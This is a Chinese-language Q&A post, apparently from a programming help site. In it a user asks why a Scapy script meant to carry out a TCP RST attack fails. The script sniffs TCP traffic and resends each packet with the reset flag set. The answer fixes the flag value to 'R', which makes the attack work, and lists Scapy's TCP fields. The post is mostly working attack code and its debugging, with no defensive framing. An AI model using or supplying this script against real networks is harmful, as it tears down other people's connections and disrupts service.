我试图用Scapy编写TCP RST atack,但我的代码不起作用.请帮助我解决问题.
from scapy.all import *
def poison(packet):
packet[TCP].flags='RST'
sendp(packet)
sniff(filter='tcp',prn=poison)
我认为标志有问题.有一个错误:
Traceback (most recent call last):
File “Univer.py”, line 6, insniff(filter=’tcp’,prn=poison)
File “/usr/lib/pymodules/python2.6/scapy/sendrecv.py”, line 559, in sniff
r = prn(p)
File “Univer.py”, line 3, in poison
packet[TCP].flags=’RST’
File “/usr/lib/pymodules/python2.6/scapy/packet.py”, line 186, in
setattr
self.setfieldval(attr,val)
File “/usr/lib/pymodules/python2.6/scapy/packet.py”, line 175, in
setfieldval
self.fields[attr] = any2i(self, val)
File “/usr/lib/pymodules/python2.6/scapy/fields.py”, line 785, in any2i
y |= 1 << self.names.index(i)ValueError: substring not found
解决方法:
在Scapy中设置TCP标志的正确方法是使用短(一个字母)形式的数据包[TCP] .flags =’R’.在当前的Scapy开发版本中,您可以使用ls()获取接受的标志:
>>> ls(TCP, verbose=True)
sport : ShortEnumField = (20)
dport : ShortEnumField = (80)
seq : IntField = (0)
ack : IntField = (0)
dataofs : BitField (4 bits) = (None)
reserved : BitField (3 bits) = (0)
flags : FlagsField (9 bits) = (2)
F, S, R, P, A, U, E, C, N
window : ShortField = (8192)
chksum : XShortField = (None)
urgptr : ShortField = (0)
options : TCPOptionsField = ({})